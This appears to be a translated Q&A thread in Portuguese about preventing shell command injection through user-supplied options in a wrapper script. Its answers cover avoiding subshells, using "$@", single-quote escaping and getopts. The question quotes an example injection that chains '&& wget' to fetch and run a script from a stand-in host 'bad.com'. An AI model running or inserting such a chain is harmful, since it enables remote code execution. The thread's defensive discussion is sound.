Como evitar a injeção de comandos através das opções de comando?

13

Eu tenho um aplicativo wrapper em que preciso permitir que o usuário especifique opções personalizadas para passar para um simulador. No entanto, quero garantir que o usuário não injete outros comandos por meio das opções do usuário. Qual é a melhor maneira de conseguir isso?

Por exemplo.

  • O usuário fornece: -a -b
  • O aplicativo executa: mysim --preset_opt -a -b

No entanto, não quero que isso aconteça:

  • O usuário fornece: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • O aplicativo executa: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

Atualmente, estou pensando em simplesmente 'colocar entre aspas simples todas as opções fornecidas pelo usuário e remover todas as aspas simples fornecidas pelo usuário, para que o comando no último exemplo se torne inofensivo:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

Nota: O mysimcomando é executado como parte de um script de shell em um contêiner do docker / lxc. Estou executando o Ubuntu.

Victor Lyuboslavsky
fonte
Você está usando evalpara executar o aplicativo? Caso contrário, a injeção não deve ocorrer:x="&& echo Doomed" ; echo $x
choroba
1
Não, eu não estou usando eval. Estou chamando o executável mysimdentro de um script de shell. Estou vendo a injeção acontecer se eu simplesmente copiar a sequência de opções que o usuário fornece e colar no final do mysimcomando.
Victor Lyuboslavsky
O aplicativo wrapper copia e cola a sequência de opções?
choroba 11/07
Sim, as opções do usuário aparecem como uma única sequência, como -a -b. Então, eu estou procurando garantir que comandos adicionais não sejam injetados nessa string.
Victor Lyuboslavsky
1
você pode colocar na lista branca? apenas permitir personagens [a-zA-Z0-9 _-]parece uma escolha bastante defensiva.
Ulrich Schwarz

Respostas:

6

Se você tiver controle sobre o programa wrapper, verifique se ele não invoca um subshell. No fundo, uma instrução para executar um programa consiste no caminho completo (absoluto ou relativo ao diretório atual) para o executável e uma lista de cadeias de caracteres para passar como argumentos. A pesquisa PATH, argumentos de separação de espaço em branco, operadores de citação e controle são todos fornecidos pelo shell. Sem casca, sem dor.

Por exemplo, com um wrapper Perl, use o formulário de lista de execou system. Em muitos idiomas, chame uma das funções execou execXXX(ou unix.execo que é chamado) em vez de system, ou os.spawncom shell=False, ou o que for necessário.

Se o wrapper for um script de shell, use "$@"para transmitir os argumentos, por exemplo

#!/bin/sh
mysim -preset-opt "$@"

Se você não tiver escolha e o programa wrapper chamar um shell, será necessário citar os argumentos antes de passá-los para o shell. A maneira mais fácil de citar argumentos é fazer o seguinte:

  1. Em cada argumento, substitua cada ocorrência de '(aspas simples) pela cadeia de quatro caracteres '\''. (por exemplo, don'ttorna-se don'\''t)
  2. Adicione 'no início de cada argumento e também no final de cada argumento. (por exemplo don't, de , don'\''ttorna-se 'don'\''t')
  3. Concatene os resultados com um espaço intermediário.

Se você precisar fazer isso em um invólucro de shell, aqui está uma maneira.

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(Infelizmente, a ${VAR//PATTERN/REPLACEMENT}construção do bash , que deve ser útil aqui, requer citações peculiares, e acho que você não pode obter '\''como o texto de substituição.)

Gilles 'SO- parar de ser mau'
fonte
1

Você pode usar de Bash ${VAR//PATTERN/REPLACEMENT}idioma para transformar uma única citação 'em '\''pelo primeira colocação '\''em uma variável (como um passo intermediário) e depois expandir essa variável como o REPLACEMENTelemento no idioma Bash mencionado.

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}
yalo
fonte
0

Você pode usar getoptsno bashque pode analisar os argumentos para você, por exemplo:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done
kenorb
fonte